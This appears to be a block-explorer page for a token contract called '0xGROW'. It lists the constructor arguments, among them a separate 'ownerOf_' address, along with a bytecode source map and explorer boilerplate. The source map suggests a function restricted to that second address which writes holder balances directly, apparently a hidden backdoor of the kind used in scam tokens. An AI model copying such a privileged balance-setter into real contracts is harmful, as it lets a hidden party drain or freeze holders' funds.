00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000007a498719f73ce694b1461af6f2e86cf9af75660d0000000000000000000000000000000000000000000000000000000000000006307847524f5700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006307847524f570000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): 0xGROW
Arg [1] : symbol_ (string): 0xGROW
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1000000000000000000
Arg [4] : ownerOf_ (address): 0x7a498719F73cE694b1461aF6F2E86CF9af75660D
-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000000de0b6b3a7640000
Arg [4] : 0000000000000000000000007a498719f73ce694b1461af6f2e86cf9af75660d
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 307847524f570000000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [8] : 307847524f570000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
13940:5930:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14736:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15899:210;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;15899:210:0;1004:187:1;15037:108:0;15125:12;;15037:108;;;1342:25:1;;;1330:2;1315:18;15037:108:0;1196:177:1;16117:454:0;;;;;;:::i;:::-;;:::i;14938:91::-;15012:9;;14938:91;;15012:9;;;;1853:36:1;;1841:2;1826:18;14938:91:0;1711:184:1;16579:300:0;;;;;;:::i;:::-;;:::i;15153:177::-;;;;;;:::i;:::-;-1:-1:-1;;;;;15304:18:0;15272:7;15304:18;;;:9;:18;;;;;;;15153:177;5579:95;;;:::i;:::-;;19260:474;;;;;;:::i;:::-;;:::i;4926:87::-;4972:7;4999:6;4926:87;;-1:-1:-1;;;;;4999:6:0;;;2639:51:1;;2627:2;2612:18;4926:87:0;2493:203:1;14835:95:0;;;:::i;16887:400::-;;;;;;:::i;:::-;;:::i;15466:216::-;;;;;;:::i;:::-;;:::i;15690:201::-;;;;;;:::i;:::-;-1:-1:-1;;;;;15856:18:0;;;15824:7;15856:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15690:201;5829:193;;;;;;:::i;:::-;;:::i;14031:35::-;;14065:1;14031:35;;14736:91;14781:13;14814:5;14807:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14736:91;:::o;15899:210::-;16018:4;16040:39;3723:10;16063:7;16072:6;16040:8;:39::i;:::-;-1:-1:-1;16097:4:0;15899:210;;;;;:::o;16117:454::-;16257:4;16274:36;16284:6;16292:9;16303:6;16274:9;:36::i;:::-;16321:220;16344:6;3723:10;16392:138;16448:6;16392:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16392:19:0;;;;;;:11;:19;;;;;;;;3723:10;16392:33;;;;;;;;;;:37;:138::i;:::-;16321:8;:220::i;:::-;-1:-1:-1;16559:4:0;16117:454;;;;;:::o;16579:300::-;3723:10;16694:4;16788:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16788:34:0;;;;;;;;;;16694:4;;16716:133;;16766:7;;16788:50;;16827:10;16788:38;:50::i;5579:95::-;4972:7;4999:6;-1:-1:-1;;;;;4999:6:0;3723:10;5147:23;5139:68;;;;-1:-1:-1;;;5139:68:0;;;;;;;:::i;:::-;;;;;;;;;5645:21:::1;5663:1;5645:9;:21::i;:::-;5579:95::o:0;19260:474::-;15378:7;;-1:-1:-1;;;;;15378:7:0;3723:10;15378:23;15370:68;;;;-1:-1:-1;;;15370:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19436:27:0;::::1;19428:36;;;::::0;::::1;;19535:23;19549:9:::0;19535:11;:23:::1;:::i;:::-;-1:-1:-1::0;;;;;19507:25:0;;::::1;;::::0;;;:9:::1;:25;::::0;;;;:51;;;;-1:-1:-1;;;19260:474:0:o;14835:95::-;14882:13;14915:7;14908:14;;;;;:::i;16887:400::-;17007:4;17029:228;3723:10;17079:7;17101:145;17158:15;17101:145;;;;;;;;;;;;;;;;;3723:10;17101:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;17101:34:0;;;;;;;;;;;;:38;:145::i;15466:216::-;15588:4;15610:42;3723:10;15634:9;15645:6;15610:9;:42::i;5829:193::-;4972:7;4999:6;-1:-1:-1;;;;;4999:6:0;3723:10;5147:23;5139:68;;;;-1:-1:-1;;;5139:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5919:22:0;::::1;5911:73;;;::::0;-1:-1:-1;;;5911:73:0;;4219:2:1;5911:73:0::1;::::0;::::1;4201:21:1::0;4258:2;4238:18;;;4231:30;4297:34;4277:18;;;4270:62;-1:-1:-1;;;4348:18:1;;;4341:36;4394:19;;5911:73:0::1;4017:402:1::0;5911:73:0::1;5995:19;6005:8;5995:9;:19::i;:::-;5829:193:::0;:::o;9016:98::-;9074:7;9101:5;9105:1;9101;:5;:::i;:::-;9094:12;9016:98;-1:-1:-1;;;9016:98:0:o;18766:380::-;-1:-1:-1;;;;;18902:19:0;;18894:68;;;;-1:-1:-1;;;18894:68:0;;4756:2:1;18894:68:0;;;4738:21:1;4795:2;4775:18;;;4768:30;4834:34;4814:18;;;4807:62;-1:-1:-1;;;4885:18:1;;;4878:34;4929:19;;18894:68:0;4554:400:1;18894:68:0;-1:-1:-1;;;;;18981:21:0;;18973:68;;;;-1:-1:-1;;;18973:68:0;;5161:2:1;18973:68:0;;;5143:21:1;5200:2;5180:18;;;5173:30;5239:34;5219:18;;;5212:62;-1:-1:-1;;;5290:18:1;;;5283:32;5332:19;;18973:68:0;4959:398:1;18973:68:0;-1:-1:-1;;;;;19054:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19106:32;;1342:25:1;;;19106:32:0;;1315:18:1;19106:32:0;;;;;;;;18766:380;;;:::o;17295:610::-;-1:-1:-1;;;;;17435:20:0;;17427:70;;;;-1:-1:-1;;;17427:70:0;;5564:2:1;17427:70:0;;;5546:21:1;5603:2;5583:18;;;5576:30;5642:34;5622:18;;;5615:62;-1:-1:-1;;;5693:18:1;;;5686:35;5738:19;;17427:70:0;5362:401:1;17427:70:0;-1:-1:-1;;;;;17516:23:0;;17508:71;;;;-1:-1:-1;;;17508:71:0;;5970:2:1;17508:71:0;;;5952:21:1;6009:2;5989:18;;;5982:30;6048:34;6028:18;;;6021:62;-1:-1:-1;;;6099:18:1;;;6092:33;6142:19;;17508:71:0;5768:399:1;17508:71:0;17672:108;17708:6;17672:108;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;17672:17:0;;;;;;:9;:17;;;;;;;:108;:21;:108::i;:::-;-1:-1:-1;;;;;17652:17:0;;;;;;;:9;:17;;;;;;:128;;;;17814:20;;;;;;;:32;;17839:6;17814:24;:32::i;:::-;-1:-1:-1;;;;;17791:20:0;;;;;;;:9;:20;;;;;;;:55;;;;17862:35;;;;;;;;;;17890:6;1342:25:1;;1330:2;1315:18;;1196:177;11295:240:0;11415:7;11476:12;11468:6;;;;11460:29;;;;-1:-1:-1;;;11460:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;11511:5:0;;;11295:240::o;6030:173::-;6086:16;6105:6;;-1:-1:-1;;;;;6122:17:0;;;-1:-1:-1;;;;;;6122:17:0;;;;;;6155:40;;6105:6;;;;;;;6155:40;;6086:16;6155:40;6075:128;6030:173;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:186::-;1959:6;2012:2;2000:9;1991:7;1987:23;1983:32;1980:52;;;2028:1;2025;2018:12;1980:52;2051:29;2070:9;2051:29;:::i;2091:397::-;2177:6;2185;2193;2201;2254:3;2242:9;2233:7;2229:23;2225:33;2222:53;;;2271:1;2268;2261:12;2222:53;2294:29;2313:9;2294:29;:::i;:::-;2284:39;;2342:38;2376:2;2365:9;2361:18;2342:38;:::i;:::-;2091:397;;2332:48;;-1:-1:-1;;;;2427:2:1;2412:18;;2399:32;;2478:2;2463:18;2450:32;;2091:397::o;2701:260::-;2769:6;2777;2830:2;2818:9;2809:7;2805:23;2801:32;2798:52;;;2846:1;2843;2836:12;2798:52;2869:29;2888:9;2869:29;:::i;:::-;2859:39;;2917:38;2951:2;2940:9;2936:18;2917:38;:::i;:::-;2907:48;;2701:260;;;;;:::o;2966:380::-;3045:1;3041:12;;;;3088;;;3109:61;;3163:4;3155:6;3151:17;3141:27;;3109:61;3216:2;3208:6;3205:14;3185:18;3182:38;3179:161;;3262:10;3257:3;3253:20;3250:1;3243:31;3297:4;3294:1;3287:15;3325:4;3322:1;3315:15;3179:161;;2966:380;;;:::o;3351:356::-;3553:2;3535:21;;;3572:18;;;3565:30;3631:34;3626:2;3611:18;;3604:62;3698:2;3683:18;;3351:356::o;3712:127::-;3773:10;3768:3;3764:20;3761:1;3754:31;3804:4;3801:1;3794:15;3828:4;3825:1;3818:15;3844:168;3917:9;;;3948;;3965:15;;;3959:22;;3945:37;3935:71;;3986:18;;:::i;4424:125::-;4489:9;;;4510:10;;;4507:36;;;4523:18;;:::i
Swarm Source
ipfs://a546a317b1897621195731cc576f09c1616523aec127b351836ff37fc1607204
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.